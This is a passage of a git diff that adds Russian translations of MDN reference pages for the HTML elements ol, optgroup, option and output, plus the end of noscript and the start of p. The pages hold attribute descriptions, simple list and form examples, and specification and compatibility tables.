+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'scripting-1.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/scripts.html#h-18.3.1', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/html/element/ol/index.html b/files/ru/web/html/element/ol/index.html
new file mode 100644
index 0000000000..8024e608a6
--- /dev/null
+++ b/files/ru/web/html/element/ol/index.html
@@ -0,0 +1,218 @@
+---
+title: '<ol>: The Ordered List element'
+slug: Web/HTML/Element/ol
+tags:
+  - HTML
+  - Основной поток
+  - элементы
+translation_of: Web/HTML/Element/ol
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;ol&gt;</code></strong> используется для упорядоченного списка — в частности для пронумерованного списка.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ol.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Источник для интерактивного примера расположен в GitHub. Если вы желаете сделать вклад в интерактивную часть, распакуйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Основной поток</a>, и если дочерний элемент <code>&lt;ol&gt;</code> включает в себя хотя бы один элемент {{HTMLElement("li")}}, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Palpable_content">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td>Ноль или больше {{HTMLElement("li")}} элементов, которые, в свою очередь, содержат вложенные элементы {{ HTMLElement("ol") }} или {{ HTMLElement("ul") }}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{DOMxRef("HTMLOListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Этот элемент включает <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("reversed")}}</dt>
+ <dd>Атрибут логического значения (bool)  показывает, что предметы указаны по списку в обратном порядке. Пункты в списке будут пронумерованы от большего к меньшему.</dd>
+ <dt>{{HTMLAttrDef("start")}}</dt>
+ <dd>Нумерация начнется с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация <code>type</code> в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте <code>start="4"</code>.</dd>
+ <dt>{{HTMLAttrDef("type")}}</dt>
+ <dd>Задаёт тип нумерации:
+ <ul>
+  <li><code>a</code> для строчных букв</li>
+  <li><code>A</code> для заглавных букв</li>
+  <li><code>i</code> для строчной Римской нумерации</li>
+  <li><code>I</code> для заглавной Римской нумерации</li>
+  <li><code>1</code> для цифр (по умолчанию)</li>
+ </ul>
+
+ <p>указанный тип используется для всего списка, если только не указан любой другой аттрибут {{HTMLAttrxRef("type", "li")}} в элементе {{HTMLElement("li")}}.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Note:</strong> Если тип цифр в списке не имеет значения (к примеру,  юридические или технические документы, где элементы обозначены буквами/цифрами), используйте свойство CSS {{CSSxRef("list-style-type")}}.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Заметки_об_использовании">Заметки об использовании</h2>
+
+<p>Обычно, элементы списка отображены с <a href="/en-US/docs/Web/CSS/::marker">маркером</a>, предшествующим цифрам или буквам.</p>
+
+<p><code>Элементы &lt;ol&gt;</code> и {{HTMLElement("ul")}} могут быть вложены (nested) на любом уровне, чередуясь между элементами <code>&lt;ol&gt;</code> и <code>&lt;ul&gt;</code>.</p>
+
+<p>Оба элемента <code>&lt;ol&gt;</code> и {{HTMLElement("ul")}}  используются для списков. Различие лишь в том, что в элементе <code>&lt;ol&gt;</code> порядок имеет значение, как в данных примерах:</p>
+
+<ul>
+ <li>Инструкции рецепта</li>
+ <li>Направление по заданному маршруту</li>
+ <li>Список ингридиентов на информации о питании, в убывающих пропорциях.</li>
+</ul>
+
+<p>Чтобы определить, каким списком пользоваться, можно поменять порядок элементов с списке.Если значение меняется, используйте элемент <code>&lt;ol&gt;</code>  — в противном случае {{HTMLElement("ul")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Обычный_список">Обычный список</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Fee&lt;/li&gt;
+  &lt;li&gt;Fi&lt;/li&gt;
+  &lt;li&gt;Fo&lt;/li&gt;
+  &lt;li&gt;Fum&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Simple_example", 400, 100)}}</p>
+
+<h3 id="Список_с_Римскими_числами">Список с Римскими числами</h3>
+
+<pre class="brush: html">&lt;ol type="i"&gt;
+  &lt;li&gt;Introduction&lt;/li&gt;
+  &lt;li&gt;List of Greivances&lt;/li&gt;
+  &lt;li&gt;Conclusion&lt;/li&gt;
+&lt;/ol&gt; </pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Using_Roman_Numeral_type", 400, 100)}}</p>
+
+<h3 id="Используя_свойство_start">Используя свойство <code>start</code></h3>
+
+<pre class="brush: html">&lt;p&gt;Finishing places of contestants not in the winners’ circle:&lt;/p&gt;
+
+&lt;ol start="4"&gt;
+  &lt;li&gt;Speedwalk Stu&lt;/li&gt;
+  &lt;li&gt;Saunterin’ Sam&lt;/li&gt;
+  &lt;li&gt;Slowpoke Rodriguez&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Using_the_start_attribute", 400, 100)}}</p>
+
+<h3 id="Вложенный_список">Вложенный список</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item  &lt;!-- closing &lt;/li&gt; tag not here! --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem&lt;/li&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;            &lt;!-- Here's the closing &lt;/li&gt; tag --&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Nesting_lists", 400, 150)}}</p>
+
+<h3 id="Неупорядоченный_список_внутри_упорядоченного_списка">Неупорядоченный список внутри упорядоченного списка</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item  &lt;!-- closing &lt;/li&gt; tag not here! --&gt;
+    &lt;ul&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem&lt;/li&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;            &lt;!-- Here's the closing &lt;/li&gt; tag --&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Unordered_list_inside_ordered_list", 400, 150)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ol-element', '&lt;ol&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений с последнего W3C, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-ol-element", "HTMLOListElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Добавлено <code>reversed</code> и приписан <code>start</code>; возможно использование <code>type</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.2', '&lt;ol&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Были убраны <code>compact</code> и <code>type</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица "поддержка браузерами" сгенерирована с помощью структурированных данных. Если хотите внести вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.ol")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы HTML списка: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}</li>
+ <li>CSS свойства, которые могут быть полезны для стилизации <code>&lt;ol&gt;</code> элемента:
+  <ul>
+   <li>свойство {{CSSxRef("list-style")}}, для порядковых показов</li>
+   <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счётчики</a>, для более сложных вложенных списков</li>
+   <li>свойство <a href="https://developer.mozilla.org/ru/docs/Web/CSS/line-height">line-height</a>, для замены убранного свойства <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/ol#attr-compact">compact</a></li>
+   <li>Свойство <a href="https://developer.mozilla.org/ru/docs/Web/CSS/margin">margin</a>, для контроля отступа в списке</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/optgroup/index.html b/files/ru/web/html/element/optgroup/index.html
new file mode 100644
index 0000000000..7f5ff96cf8
--- /dev/null
+++ b/files/ru/web/html/element/optgroup/index.html
@@ -0,0 +1,119 @@
+---
+title: <optgroup>
+slug: Web/HTML/Element/optgroup
+tags:
+  - HTML
+  - HTML forms
+  - Описание
+  - Формы
+  - Элемент
+translation_of: Web/HTML/Element/optgroup
+---
+<p><strong>HTML-элемент <code>&lt;optgroup&gt;</code> </strong>позволяет группировать опции, находящиеся внутри элемента {{HTMLElement("select")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимый контент</th>
+   <td>Ноль или более {{HTMLElement("option")}} элементов.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Открывающий тег обязателен. Закрывающий тег может быть опущен, если сразу после элемента находится следующий элемент <code>&lt;optgroup&gt;</code>, или если это последний элемент внутри родителя.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые родители</th>
+   <td>Элемент {{HTMLElement("select")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые ARIA-роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLOptGroupElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{Note("Элементы optgroup не могут быть вложенными друг в друга.")}}</p>
+
+<h2 id="Аттрибуты">Аттрибуты</h2>
+
+<p>Элемент <code>&lt;optgroup&gt;</code> допускает использование <a href="/en-US/docs/Web/HTML/Global_attributes">глобальных аттрибутов</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Если установить этот аттрибут, опции, находящиеся внутри элемента станут недоступными для выбора. Часто браузеры отображают эти опции серым цветом и игнорируют срабатывающие на них события, таие как события мыши или события получения фокуса.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Имя группы, которое будет отображено браузером в выпадающем списке. Этот атрибут обязателен.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;select&gt;
+  &lt;optgroup label="Группа 1"&gt;
+    &lt;option&gt;Опция 1.1&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Группа 2"&gt;
+    &lt;option&gt;Опция 2.1&lt;/option&gt;
+    &lt;option&gt;Опция 2.2&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Группа 3" disabled&gt;
+    &lt;option&gt;Опция 3.1&lt;/option&gt;
+    &lt;option&gt;Опция 3.2&lt;/option&gt;
+    &lt;option&gt;Опция 3.3&lt;/option&gt;
+  &lt;/optgroup&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.optgroup")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элементы, имеющие отношение к формам: {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("option")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} и {{HTMLElement("meter")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/option/index.html b/files/ru/web/html/element/option/index.html
new file mode 100644
index 0000000000..7f2bafd7ed
--- /dev/null
+++ b/files/ru/web/html/element/option/index.html
@@ -0,0 +1,100 @@
+---
+title: <option>
+slug: Web/HTML/Element/option
+tags:
+  - опция
+  - селект
+translation_of: Web/HTML/Element/option
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML элемент <code>&lt;option&gt;</code></strong> используется для определения пункта списка контейнера {{HTMLElement("select")}}, элемента {{HTMLElement("optgroup")}}, или элемента {{HTMLElement("datalist")}}. Элемент <code>&lt;option&gt;</code> может представлять раздел меню всплывающих окон и других перечней или списков HTML документа.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категория содержимого</a></th>
+   <td>Нет.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Текст, допускаются <span class="short_text" id="result_box" lang="ru"><span>экранированные символы</span></span> (например <code>&amp;eacute;</code>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Открывающий тег обязателен. Закрывающий тег опционален если за этим элементом следует другой элемент <code>&lt;option&gt;</code>, или элемент {{HTMLElement("optgroup")}}, или если родительский элемент не имеет больше содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные родители</span></span></th>
+   <td>Элемент {{HTMLElement("select")}},  элемент {{HTMLElement("optgroup")}} или элемент {{HTMLElement("datalist")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLOptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p>Как и все HTML элементы, этот элемент поддерживает <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}} -- отключен(о)</dt>
+ <dd>Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все еще можно отключить (может не работать), если отключен внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.</dd>
+ <dt>{{htmlattrdef("label")}} -- метка, ярлык</dt>
+ <dd>Этот атрибут - текст ярлыка, отображающий значение(смысл, описание) опции. Если <code>label</code> не указан (отсутствует), то его значение совпадает с текстовым содержанием элемента <code>&lt;option&gt;</code>.</dd>
+ <dt>{{htmlattrdef("selected")}} -- выбран(о)</dt>
+ <dd>(Если присутствует,) этот Boolean атрибут отображает то, что опция изначально выделена. Если элемент <code>&lt;option&gt;</code> принадлежит элементу {{HTMLElement("select")}}, чей атрибут {{htmlattrxref("multiple", "select")}} не установлен, только одна-единственная <code>&lt;option&gt;</code> элемента {{HTMLElement("select")}} может иметь атрибут <code>selected</code> .</dd>
+ <dt>{{htmlattrdef("value")}} -- значение, величина</dt>
+ <dd>Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берется из текстового содержания элемента <code>&lt;option&gt;</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>См. {{HTMLElement("select")}} for examples.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.option")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html
new file mode 100644
index 0000000000..63ba4bb6ff
--- /dev/null
+++ b/files/ru/web/html/element/output/index.html
@@ -0,0 +1,103 @@
+---
+title: '<output>: Элемент вывода'
+slug: Web/HTML/Element/output
+tags:
+  - Верстка
+  - Элемент
+  - вывод
+translation_of: Web/HTML/Element/output
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент вывода </strong>(<strong><code>&lt;output&gt;</code></strong>) является контейнерным элементом, в котором сайт или приложение могут выводить результаты вычислений или действий пользователя.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">перечисляемые</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_labelable">лэйбловые</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_resettable">сбрасываемые формо-ассоциированные элементы</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Все элементы, которые принимают <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые ARIA-роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLOutputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>Пробело-разделяемый список <code><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></code> других элементов, указывающий, что эти элементы предоставили входные значения для (или иным образом повлияли) вычисления.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd> <a href="/en-US/docs/Web/HTML/Element/form">Элемент формы</a>, с которым связан этот элемент ("владелец формы"). Значением атрибута должен быть <code>id</code> элемента {{HTMLElement("form")}} в том же документе. Этот атрибут не нужен, если элемент  <code>&lt;output&gt;</code> является потомком элемента <code>&lt;form&gt;</code> (в этом случае эта форма является владельцем формы), или, если элемент <code>&lt;output&gt;</code> вообще не связан с формой.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Имя элемента; используется для идентификации этого <code>&lt;output&gt;</code> при отправке формы.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Эта форма содержит слайдер, значение которого находится в пределах от 0 до 100, и элемент {{HTMLElement("input")}}, в который можно ввести второе значение. Два числа складываются и результат отображается в элементе <code>&lt;output&gt;</code> каждый раз, когда значение любого управляющего элемента меняется.</p>
+
+<pre class="brush: html notranslate">&lt;form oninput="result.value=parseInt(a.value)+parseInt(b.value)"&gt;
+  &lt;input type="range" name="b" value="50" /&gt; +
+  &lt;input type="number" name="a" value="10" /&gt; =
+  &lt;output name="result"&gt;60&lt;/output&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.output")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы, связанные с формой: {{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/p/index.html b/files/ru/web/html/element/p/index.html
new file mode 100644
index 0000000000..74e115173a
--- /dev/null
+++ b/files/ru/web/html/element/p/index.html
@@ -0,0 +1,190 @@
+---
+title: '<p>: Элемент текстового абзаца'
+slug: Web/HTML/Element/p
+tags:
+  - Element
+  - HTML
+  - Web
+  - Абзац
+  - Веб
+  - Группировка контента
+  - Параграф
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/p
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;p&gt;</code></strong> представляет собой абзац.</span> Абзацы обычно представлены в визуальной среде в виде блоков текста, отделенных от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.</p>
+
+<p>Абзацы являются <a href="/ru/docs/Web/HTML/Block-level_elements">блочными элементами</a> и, в частности, автоматически закрываются, если другой блочный элемент находится перед закрывающим тегом <code>&lt;/p&gt;</code>. Смотрите ниже "Пропуск тега".</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/p.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
